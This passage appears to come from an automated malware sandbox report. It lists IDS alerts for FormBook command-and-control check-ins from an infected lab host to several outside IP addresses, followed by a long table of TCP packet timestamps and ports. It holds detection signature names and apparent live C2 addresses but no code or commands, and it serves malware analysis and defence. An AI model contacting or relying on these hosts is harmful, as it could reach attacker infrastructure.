2024-11-06T08:41:26.871250+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50011	154.23.184.218	80	TCP
2024-11-06T08:41:29.435247+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.6	50012	154.23.184.218	80	TCP
2024-11-06T08:41:29.435247+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	50012	154.23.184.218	80	TCP
2024-11-06T08:41:35.712995+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50013	31.31.196.17	80	TCP
2024-11-06T08:41:38.228622+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50014	31.31.196.17	80	TCP
2024-11-06T08:41:40.806800+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50015	31.31.196.17	80	TCP
2024-11-06T08:41:43.525575+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.6	50016	31.31.196.17	80	TCP
2024-11-06T08:41:43.525575+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	50016	31.31.196.17	80	TCP
2024-11-06T08:41:49.471369+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50017	13.248.169.48	80	TCP
2024-11-06T08:41:52.009629+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50018	13.248.169.48	80	TCP
2024-11-06T08:41:54.616427+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50019	13.248.169.48	80	TCP
2024-11-06T08:41:57.262565+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.6	50020	13.248.169.48	80	TCP
2024-11-06T08:41:57.262565+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	50020	13.248.169.48	80	TCP
2024-11-06T08:42:03.545297+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50021	217.76.156.252	80	TCP
2024-11-06T08:42:06.056427+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50022	217.76.156.252	80	TCP
2024-11-06T08:42:08.558522+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50023	217.76.156.252	80	TCP
2024-11-06T08:42:11.112133+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.6	50024	217.76.156.252	80	TCP
2024-11-06T08:42:11.112133+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	50024	217.76.156.252	80	TCP
2024-11-06T08:42:17.393054+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50026	161.97.142.144	80	TCP
2024-11-06T08:42:19.926700+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50027	161.97.142.144	80	TCP
2024-11-06T08:42:22.488516+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50028	161.97.142.144	80	TCP
2024-11-06T08:42:25.010909+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.6	50029	161.97.142.144	80	TCP
2024-11-06T08:42:25.010909+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	50029	161.97.142.144	80	TCP
2024-11-06T08:42:30.853335+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50030	199.59.243.227	80	TCP
2024-11-06T08:42:33.416565+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50031	199.59.243.227	80	TCP
2024-11-06T08:42:35.970041+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50032	199.59.243.227	80	TCP
2024-11-06T08:42:38.520024+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.6	50033	199.59.243.227	80	TCP
2024-11-06T08:42:38.520024+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	50033	199.59.243.227	80	TCP
2024-11-06T08:42:44.567492+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50034	188.114.97.3	80	TCP
2024-11-06T08:42:47.149297+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50035	188.114.97.3	80	TCP
2024-11-06T08:42:49.751293+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50036	188.114.97.3	80	TCP
2024-11-06T08:42:52.287067+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.6	50037	188.114.97.3	80	TCP
2024-11-06T08:42:52.287067+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	50037	188.114.97.3	80	TCP
2024-11-06T08:42:58.661949+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50038	3.33.130.190	80	TCP
2024-11-06T08:43:01.193658+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50039	3.33.130.190	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 6, 2024 08:39:42.497097969 CET	49911	80	192.168.2.6	154.92.61.37
Nov 6, 2024 08:39:42.502002954 CET	80	49911	154.92.61.37	192.168.2.6
Nov 6, 2024 08:39:42.502095938 CET	49911	80	192.168.2.6	154.92.61.37
Nov 6, 2024 08:39:42.510540962 CET	49911	80	192.168.2.6	154.92.61.37
Nov 6, 2024 08:39:42.515414953 CET	80	49911	154.92.61.37	192.168.2.6
Nov 6, 2024 08:39:43.444372892 CET	80	49911	154.92.61.37	192.168.2.6
Nov 6, 2024 08:39:43.494386911 CET	49911	80	192.168.2.6	154.92.61.37
Nov 6, 2024 08:39:43.623641968 CET	80	49911	154.92.61.37	192.168.2.6
Nov 6, 2024 08:39:43.623802900 CET	49911	80	192.168.2.6	154.92.61.37
Nov 6, 2024 08:39:43.625179052 CET	49911	80	192.168.2.6	154.92.61.37
Nov 6, 2024 08:39:43.629956961 CET	80	49911	154.92.61.37	192.168.2.6
Nov 6, 2024 08:39:58.774239063 CET	49983	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:39:58.779206991 CET	80	49983	3.33.130.190	192.168.2.6
Nov 6, 2024 08:39:58.779367924 CET	49983	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:39:58.887490034 CET	49983	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:39:58.892349958 CET	80	49983	3.33.130.190	192.168.2.6
Nov 6, 2024 08:40:00.378061056 CET	80	49983	3.33.130.190	192.168.2.6
Nov 6, 2024 08:40:00.378127098 CET	49983	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:40:00.400737047 CET	49983	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:40:00.405683041 CET	80	49983	3.33.130.190	192.168.2.6
Nov 6, 2024 08:40:01.421528101 CET	49984	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:40:01.426395893 CET	80	49984	3.33.130.190	192.168.2.6
Nov 6, 2024 08:40:01.426486969 CET	49984	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:40:01.441909075 CET	49984	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:40:01.446775913 CET	80	49984	3.33.130.190	192.168.2.6
Nov 6, 2024 08:40:02.083580017 CET	80	49984	3.33.130.190	192.168.2.6
Nov 6, 2024 08:40:02.083678007 CET	49984	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:40:02.947467089 CET	49984	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:40:02.952258110 CET	80	49984	3.33.130.190	192.168.2.6
Nov 6, 2024 08:40:03.966655016 CET	49985	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:40:03.971580982 CET	80	49985	3.33.130.190	192.168.2.6
Nov 6, 2024 08:40:03.971709013 CET	49985	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:40:03.983037949 CET	49985	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:40:03.987971067 CET	80	49985	3.33.130.190	192.168.2.6
Nov 6, 2024 08:40:03.988174915 CET	80	49985	3.33.130.190	192.168.2.6
Nov 6, 2024 08:40:04.597369909 CET	80	49985	3.33.130.190	192.168.2.6
Nov 6, 2024 08:40:04.597512007 CET	49985	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:40:05.494396925 CET	49985	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:40:05.499288082 CET	80	49985	3.33.130.190	192.168.2.6
Nov 6, 2024 08:40:06.513761044 CET	49986	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:40:06.523243904 CET	80	49986	3.33.130.190	192.168.2.6
Nov 6, 2024 08:40:06.523354053 CET	49986	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:40:06.531075954 CET	49986	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:40:06.537527084 CET	80	49986	3.33.130.190	192.168.2.6
Nov 6, 2024 08:40:07.141361952 CET	80	49986	3.33.130.190	192.168.2.6
Nov 6, 2024 08:40:07.141936064 CET	80	49986	3.33.130.190	192.168.2.6
Nov 6, 2024 08:40:07.142020941 CET	49986	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:40:07.144632101 CET	49986	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:40:07.150162935 CET	80	49986	3.33.130.190	192.168.2.6
Nov 6, 2024 08:40:12.284398079 CET	49987	80	192.168.2.6	203.161.49.193
Nov 6, 2024 08:40:12.289203882 CET	80	49987	203.161.49.193	192.168.2.6
Nov 6, 2024 08:40:12.289280891 CET	49987	80	192.168.2.6	203.161.49.193
Nov 6, 2024 08:40:12.301387072 CET	49987	80	192.168.2.6	203.161.49.193
Nov 6, 2024 08:40:12.306303024 CET	80	49987	203.161.49.193	192.168.2.6
Nov 6, 2024 08:40:12.982852936 CET	80	49987	203.161.49.193	192.168.2.6
Nov 6, 2024 08:40:13.021349907 CET	80	49987	203.161.49.193	192.168.2.6
Nov 6, 2024 08:40:13.021440029 CET	49987	80	192.168.2.6	203.161.49.193
Nov 6, 2024 08:40:13.807001114 CET	49987	80	192.168.2.6	203.161.49.193
Nov 6, 2024 08:40:14.826188087 CET	49988	80	192.168.2.6	203.161.49.193
Nov 6, 2024 08:40:14.831085920 CET	80	49988	203.161.49.193	192.168.2.6
Nov 6, 2024 08:40:14.831196070 CET	49988	80	192.168.2.6	203.161.49.193
Nov 6, 2024 08:40:14.842593908 CET	49988	80	192.168.2.6	203.161.49.193
Nov 6, 2024 08:40:14.847497940 CET	80	49988	203.161.49.193	192.168.2.6
Nov 6, 2024 08:40:15.511419058 CET	80	49988	203.161.49.193	192.168.2.6
Nov 6, 2024 08:40:15.547431946 CET	80	49988	203.161.49.193	192.168.2.6
Nov 6, 2024 08:40:15.547543049 CET	49988	80	192.168.2.6	203.161.49.193
Nov 6, 2024 08:40:16.353882074 CET	49988	80	192.168.2.6	203.161.49.193
Nov 6, 2024 08:40:17.372709990 CET	49989	80	192.168.2.6	203.161.49.193
Nov 6, 2024 08:40:17.377845049 CET	80	49989	203.161.49.193	192.168.2.6
Nov 6, 2024 08:40:17.377940893 CET	49989	80	192.168.2.6	203.161.49.193
Nov 6, 2024 08:40:17.389429092 CET	49989	80	192.168.2.6	203.161.49.193
Nov 6, 2024 08:40:17.394979000 CET	80	49989	203.161.49.193	192.168.2.6
Nov 6, 2024 08:40:17.396624088 CET	80	49989	203.161.49.193	192.168.2.6
Nov 6, 2024 08:40:18.071787119 CET	80	49989	203.161.49.193	192.168.2.6
Nov 6, 2024 08:40:18.109906912 CET	80	49989	203.161.49.193	192.168.2.6
Nov 6, 2024 08:40:18.109970093 CET	49989	80	192.168.2.6	203.161.49.193
Nov 6, 2024 08:40:18.900597095 CET	49989	80	192.168.2.6	203.161.49.193
Nov 6, 2024 08:40:19.919563055 CET	49990	80	192.168.2.6	203.161.49.193
Nov 6, 2024 08:40:19.924761057 CET	80	49990	203.161.49.193	192.168.2.6
Nov 6, 2024 08:40:19.924848080 CET	49990	80	192.168.2.6	203.161.49.193
Nov 6, 2024 08:40:19.932594061 CET	49990	80	192.168.2.6	203.161.49.193
Nov 6, 2024 08:40:19.937530994 CET	80	49990	203.161.49.193	192.168.2.6
Nov 6, 2024 08:40:20.633265972 CET	80	49990	203.161.49.193	192.168.2.6
Nov 6, 2024 08:40:20.671899080 CET	80	49990	203.161.49.193	192.168.2.6
Nov 6, 2024 08:40:20.672097921 CET	49990	80	192.168.2.6	203.161.49.193
Nov 6, 2024 08:40:20.673038006 CET	49990	80	192.168.2.6	203.161.49.193
Nov 6, 2024 08:40:20.679121971 CET	80	49990	203.161.49.193	192.168.2.6
Nov 6, 2024 08:40:25.734044075 CET	49991	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:40:25.742497921 CET	80	49991	3.33.130.190	192.168.2.6
Nov 6, 2024 08:40:25.742624998 CET	49991	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:40:25.759612083 CET	49991	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:40:25.764493942 CET	80	49991	3.33.130.190	192.168.2.6
Nov 6, 2024 08:40:26.374594927 CET	80	49991	3.33.130.190	192.168.2.6
Nov 6, 2024 08:40:26.374694109 CET	49991	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:40:27.275600910 CET	49991	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:40:27.280603886 CET	80	49991	3.33.130.190	192.168.2.6
Nov 6, 2024 08:40:28.294519901 CET	49993	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:40:28.299420118 CET	80	49993	3.33.130.190	192.168.2.6
Nov 6, 2024 08:40:28.299624920 CET	49993	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:40:28.310998917 CET	49993	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:40:28.315748930 CET	80	49993	3.33.130.190	192.168.2.6
Nov 6, 2024 08:40:28.933896065 CET	80	49993	3.33.130.190	192.168.2.6
Nov 6, 2024 08:40:28.933962107 CET	49993	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:40:29.824251890 CET	49993	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:40:29.885453939 CET	80	49993	3.33.130.190	192.168.2.6
Nov 6, 2024 08:40:30.841337919 CET	49994	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:40:31.148392916 CET	80	49994	3.33.130.190	192.168.2.6
Nov 6, 2024 08:40:31.148514032 CET	49994	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:40:31.159502029 CET	49994	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:40:31.164509058 CET	80	49994	3.33.130.190	192.168.2.6
Nov 6, 2024 08:40:31.164587975 CET	80	49994	3.33.130.190	192.168.2.6
Nov 6, 2024 08:40:31.782716990 CET	80	49994	3.33.130.190	192.168.2.6
Nov 6, 2024 08:40:31.782788992 CET	49994	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:40:32.718523979 CET	49994	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:40:32.723457098 CET	80	49994	3.33.130.190	192.168.2.6
Nov 6, 2024 08:40:33.731908083 CET	49995	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:40:33.736902952 CET	80	49995	3.33.130.190	192.168.2.6
Nov 6, 2024 08:40:33.737010002 CET	49995	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:40:33.744096994 CET	49995	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:40:33.748997927 CET	80	49995	3.33.130.190	192.168.2.6
Nov 6, 2024 08:40:34.354901075 CET	80	49995	3.33.130.190	192.168.2.6
Nov 6, 2024 08:40:34.357446909 CET	80	49995	3.33.130.190	192.168.2.6
Nov 6, 2024 08:40:34.357564926 CET	49995	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:40:34.358556032 CET	49995	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:40:34.363363028 CET	80	49995	3.33.130.190	192.168.2.6
Nov 6, 2024 08:40:39.397655964 CET	49996	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:40:39.404107094 CET	80	49996	3.33.130.190	192.168.2.6
Nov 6, 2024 08:40:39.404243946 CET	49996	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:40:39.417275906 CET	49996	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:40:39.422535896 CET	80	49996	3.33.130.190	192.168.2.6
Nov 6, 2024 08:40:40.033236980 CET	80	49996	3.33.130.190	192.168.2.6
Nov 6, 2024 08:40:40.033394098 CET	49996	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:40:40.935269117 CET	49996	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:40:40.940124035 CET	80	49996	3.33.130.190	192.168.2.6
Nov 6, 2024 08:40:41.962002039 CET	49997	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:40:41.967083931 CET	80	49997	3.33.130.190	192.168.2.6
Nov 6, 2024 08:40:41.967164993 CET	49997	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:40:41.980679035 CET	49997	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:40:41.985572100 CET	80	49997	3.33.130.190	192.168.2.6
Nov 6, 2024 08:40:42.594698906 CET	80	49997	3.33.130.190	192.168.2.6
Nov 6, 2024 08:40:42.594794035 CET	49997	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:40:43.494308949 CET	49997	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:40:43.499443054 CET	80	49997	3.33.130.190	192.168.2.6
Nov 6, 2024 08:40:44.533160925 CET	49998	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:40:44.538155079 CET	80	49998	3.33.130.190	192.168.2.6
Nov 6, 2024 08:40:44.538235903 CET	49998	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:40:44.573451996 CET	49998	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:40:44.578409910 CET	80	49998	3.33.130.190	192.168.2.6
Nov 6, 2024 08:40:44.578421116 CET	80	49998	3.33.130.190	192.168.2.6
Nov 6, 2024 08:40:45.156754971 CET	80	49998	3.33.130.190	192.168.2.6
Nov 6, 2024 08:40:45.156853914 CET	49998	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:40:46.088103056 CET	49998	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:40:46.093050003 CET	80	49998	3.33.130.190	192.168.2.6
Nov 6, 2024 08:40:47.238002062 CET	49999	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:40:47.243207932 CET	80	49999	3.33.130.190	192.168.2.6
Nov 6, 2024 08:40:47.243325949 CET	49999	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:40:47.255166054 CET	49999	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:40:47.260216951 CET	80	49999	3.33.130.190	192.168.2.6
Nov 6, 2024 08:40:47.886740923 CET	80	49999	3.33.130.190	192.168.2.6
Nov 6, 2024 08:40:47.887249947 CET	80	49999	3.33.130.190	192.168.2.6
Nov 6, 2024 08:40:47.887322903 CET	49999	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:40:47.890433073 CET	49999	80	192.168.2.6	3.33.130.190
Nov 6, 2024 08:40:47.895275116 CET	80	49999	3.33.130.190	192.168.2.6
Nov 6, 2024 08:40:52.971354961 CET	50000	80	192.168.2.6	198.252.98.54
Nov 6, 2024 08:40:52.976399899 CET	80	50000	198.252.98.54	192.168.2.6
Nov 6, 2024 08:40:52.983352900 CET	50000	80	192.168.2.6	198.252.98.54
Nov 6, 2024 08:40:53.007347107 CET	50000	80	192.168.2.6	198.252.98.54
Nov 6, 2024 08:40:53.012202978 CET	80	50000	198.252.98.54	192.168.2.6
Nov 6, 2024 08:40:53.640574932 CET	80	50000	198.252.98.54	192.168.2.6
Nov 6, 2024 08:40:53.673217058 CET	80	50000	198.252.98.54	192.168.2.6
Nov 6, 2024 08:40:53.673383951 CET	50000	80	192.168.2.6	198.252.98.54
Nov 6, 2024 08:40:54.510349989 CET	50000	80	192.168.2.6	198.252.98.54
Nov 6, 2024 08:40:55.594279051 CET	50001	80	192.168.2.6	198.252.98.54
Nov 6, 2024 08:40:55.599209070 CET	80	50001	198.252.98.54	192.168.2.6
Nov 6, 2024 08:40:55.601421118 CET	50001	80	192.168.2.6	198.252.98.54
Nov 6, 2024 08:40:55.615777969 CET	50001	80	192.168.2.6	198.252.98.54
Nov 6, 2024 08:40:55.620646000 CET	80	50001	198.252.98.54	192.168.2.6
Nov 6, 2024 08:40:56.266798019 CET	80	50001	198.252.98.54	192.168.2.6
Nov 6, 2024 08:40:56.299587011 CET	80	50001	198.252.98.54	192.168.2.6
Nov 6, 2024 08:40:56.299645901 CET	50001	80	192.168.2.6	198.252.98.54
Nov 6, 2024 08:40:57.137268066 CET	50001	80	192.168.2.6	198.252.98.54
Nov 6, 2024 08:40:58.161780119 CET	50002	80	192.168.2.6	198.252.98.54
Nov 6, 2024 08:40:58.166702032 CET	80	50002	198.252.98.54	192.168.2.6
Nov 6, 2024 08:40:58.166779041 CET	50002	80	192.168.2.6	198.252.98.54
Nov 6, 2024 08:40:58.184679985 CET	50002	80	192.168.2.6	198.252.98.54
Nov 6, 2024 08:40:58.189707994 CET	80	50002	198.252.98.54	192.168.2.6
Nov 6, 2024 08:40:58.189722061 CET	80	50002	198.252.98.54	192.168.2.6
Nov 6, 2024 08:40:59.697416067 CET	50002	80	192.168.2.6	198.252.98.54
Nov 6, 2024 08:40:59.742846966 CET	80	50002	198.252.98.54	192.168.2.6
Nov 6, 2024 08:41:00.717453003 CET	50003	80	192.168.2.6	198.252.98.54
Nov 6, 2024 08:41:00.723603010 CET	80	50003	198.252.98.54	192.168.2.6
Nov 6, 2024 08:41:00.723671913 CET	50003	80	192.168.2.6	198.252.98.54
Nov 6, 2024 08:41:00.734349966 CET	50003	80	192.168.2.6	198.252.98.54
Nov 6, 2024 08:41:00.739175081 CET	80	50003	198.252.98.54	192.168.2.6
Nov 6, 2024 08:41:01.380016088 CET	80	50003	198.252.98.54	192.168.2.6
Nov 6, 2024 08:41:01.412297010 CET	80	50003	198.252.98.54	192.168.2.6
Nov 6, 2024 08:41:01.413455009 CET	50003	80	192.168.2.6	198.252.98.54
Nov 6, 2024 08:41:01.416404009 CET	50003	80	192.168.2.6	198.252.98.54
Nov 6, 2024 08:41:01.421344042 CET	80	50003	198.252.98.54	192.168.2.6
Nov 6, 2024 08:41:06.642143011 CET	80	50002	198.252.98.54	192.168.2.6
Nov 6, 2024 08:41:06.642206907 CET	50002	80	192.168.2.6	198.252.98.54
Nov 6, 2024 08:41:06.745850086 CET	50005	80	192.168.2.6	103.224.182.242
Nov 6, 2024 08:41:06.750718117 CET	80	50005	103.224.182.242	192.168.2.6
Nov 6, 2024 08:41:06.750792980 CET	50005	80	192.168.2.6	103.224.182.242
Nov 6, 2024 08:41:06.764895916 CET	50005	80	192.168.2.6	103.224.182.242
Nov 6, 2024 08:41:06.769711018 CET	80	50005	103.224.182.242	192.168.2.6
Nov 6, 2024 08:41:07.425868988 CET	80	50005	103.224.182.242	192.168.2.6
Nov 6, 2024 08:41:07.456358910 CET	80	50005	103.224.182.242	192.168.2.6
Nov 6, 2024 08:41:07.459322929 CET	50005	80	192.168.2.6	103.224.182.242
Nov 6, 2024 08:41:08.276012897 CET	50005	80	192.168.2.6	103.224.182.242
Nov 6, 2024 08:41:09.295331955 CET	50006	80	192.168.2.6	103.224.182.242
Nov 6, 2024 08:41:09.300219059 CET	80	50006	103.224.182.242	192.168.2.6
Nov 6, 2024 08:41:09.303358078 CET	50006	80	192.168.2.6	103.224.182.242
Nov 6, 2024 08:41:09.315457106 CET	50006	80	192.168.2.6	103.224.182.242
Nov 6, 2024 08:41:09.320338011 CET	80	50006	103.224.182.242	192.168.2.6
Nov 6, 2024 08:41:09.973614931 CET	80	50006	103.224.182.242	192.168.2.6
Nov 6, 2024 08:41:10.004441023 CET	80	50006	103.224.182.242	192.168.2.6
Nov 6, 2024 08:41:10.004530907 CET	50006	80	192.168.2.6	103.224.182.242
Nov 6, 2024 08:41:10.823252916 CET	50006	80	192.168.2.6	103.224.182.242
Nov 6, 2024 08:41:11.844347954 CET	50007	80	192.168.2.6	103.224.182.242
Nov 6, 2024 08:41:11.849343061 CET	80	50007	103.224.182.242	192.168.2.6
Nov 6, 2024 08:41:11.849416018 CET	50007	80	192.168.2.6	103.224.182.242
Nov 6, 2024 08:41:11.865485907 CET	50007	80	192.168.2.6	103.224.182.242
Nov 6, 2024 08:41:11.870287895 CET	80	50007	103.224.182.242	192.168.2.6
Nov 6, 2024 08:41:11.870364904 CET	80	50007	103.224.182.242	192.168.2.6
Nov 6, 2024 08:41:12.519090891 CET	80	50007	103.224.182.242	192.168.2.6
Nov 6, 2024 08:41:12.549897909 CET	80	50007	103.224.182.242	192.168.2.6
Nov 6, 2024 08:41:12.550081015 CET	50007	80	192.168.2.6	103.224.182.242
Nov 6, 2024 08:41:13.371264935 CET	50007	80	192.168.2.6	103.224.182.242
Nov 6, 2024 08:41:14.389755011 CET	50008	80	192.168.2.6	103.224.182.242
Nov 6, 2024 08:41:14.394633055 CET	80	50008	103.224.182.242	192.168.2.6
Nov 6, 2024 08:41:14.394716024 CET	50008	80	192.168.2.6	103.224.182.242
Nov 6, 2024 08:41:14.405353069 CET	50008	80	192.168.2.6	103.224.182.242
Nov 6, 2024 08:41:14.410123110 CET	80	50008	103.224.182.242	192.168.2.6
Nov 6, 2024 08:41:15.086507082 CET	80	50008	103.224.182.242	192.168.2.6
Nov 6, 2024 08:41:15.086530924 CET	80	50008	103.224.182.242	192.168.2.6
Nov 6, 2024 08:41:15.086786985 CET	50008	80	192.168.2.6	103.224.182.242
Nov 6, 2024 08:41:15.117961884 CET	80	50008	103.224.182.242	192.168.2.6
Nov 6, 2024 08:41:15.118123055 CET	50008	80	192.168.2.6	103.224.182.242
Nov 6, 2024 08:41:15.121293068 CET	50008	80	192.168.2.6	103.224.182.242
Nov 6, 2024 08:41:15.126024961 CET	80	50008	103.224.182.242	192.168.2.6
Nov 6, 2024 08:41:20.760473967 CET	50009	80	192.168.2.6	154.23.184.218
Nov 6, 2024 08:41:20.765266895 CET	80	50009	154.23.184.218	192.168.2.6
Nov 6, 2024 08:41:20.765374899 CET	50009	80	192.168.2.6	154.23.184.218
Nov 6, 2024 08:41:20.776249886 CET	50009	80	192.168.2.6	154.23.184.218
Nov 6, 2024 08:41:20.781075954 CET	80	50009	154.23.184.218	192.168.2.6
Nov 6, 2024 08:41:21.718147039 CET	80	50009	154.23.184.218	192.168.2.6
Nov 6, 2024 08:41:21.763238907 CET	50009	80	192.168.2.6	154.23.184.218
Nov 6, 2024 08:41:21.892734051 CET	80	50009	154.23.184.218	192.168.2.6
Nov 6, 2024 08:41:21.892805099 CET	50009	80	192.168.2.6	154.23.184.218
Nov 6, 2024 08:41:22.291335106 CET	50009	80	192.168.2.6	154.23.184.218
Nov 6, 2024 08:41:23.310601950 CET	50010	80	192.168.2.6	154.23.184.218
Nov 6, 2024 08:41:23.315596104 CET	80	50010	154.23.184.218	192.168.2.6
Nov 6, 2024 08:41:23.315854073 CET	50010	80	192.168.2.6	154.23.184.218
Nov 6, 2024 08:41:23.326683998 CET	50010	80	192.168.2.6	154.23.184.218
Nov 6, 2024 08:41:23.331540108 CET	80	50010	154.23.184.218	192.168.2.6
Nov 6, 2024 08:41:24.278285027 CET	80	50010	154.23.184.218	192.168.2.6
Nov 6, 2024 08:41:24.322355986 CET	50010	80	192.168.2.6	154.23.184.218
Nov 6, 2024 08:41:24.460068941 CET	80	50010	154.23.184.218	192.168.2.6
Nov 6, 2024 08:41:24.460130930 CET	50010	80	192.168.2.6	154.23.184.218
Nov 6, 2024 08:41:24.839243889 CET	50010	80	192.168.2.6	154.23.184.218
Nov 6, 2024 08:41:25.857830048 CET	50011	80	192.168.2.6	154.23.184.218
Nov 6, 2024 08:41:25.862895966 CET	80	50011	154.23.184.218	192.168.2.6
Nov 6, 2024 08:41:25.862958908 CET	50011	80	192.168.2.6	154.23.184.218
Nov 6, 2024 08:41:25.877367020 CET	50011	80	192.168.2.6	154.23.184.218
Nov 6, 2024 08:41:25.882199049 CET	80	50011	154.23.184.218	192.168.2.6
Nov 6, 2024 08:41:25.882277966 CET	80	50011	154.23.184.218	192.168.2.6
Nov 6, 2024 08:41:26.817244053 CET	80	50011	154.23.184.218	192.168.2.6
Nov 6, 2024 08:41:26.871249914 CET	50011	80	192.168.2.6	154.23.184.218
Nov 6, 2024 08:41:26.998753071 CET	80	50011	154.23.184.218	192.168.2.6
Nov 6, 2024 08:41:26.999320030 CET	50011	80	192.168.2.6	154.23.184.218
Nov 6, 2024 08:41:27.386250973 CET	50011	80	192.168.2.6	154.23.184.218
Nov 6, 2024 08:41:28.419085979 CET	50012	80	192.168.2.6	154.23.184.218
Nov 6, 2024 08:41:28.424069881 CET	80	50012	154.23.184.218	192.168.2.6
Nov 6, 2024 08:41:28.424149990 CET	50012	80	192.168.2.6	154.23.184.218
Nov 6, 2024 08:41:28.450025082 CET	50012	80	192.168.2.6	154.23.184.218
Nov 6, 2024 08:41:28.454843044 CET	80	50012	154.23.184.218	192.168.2.6
Nov 6, 2024 08:41:29.382304907 CET	80	50012	154.23.184.218	192.168.2.6
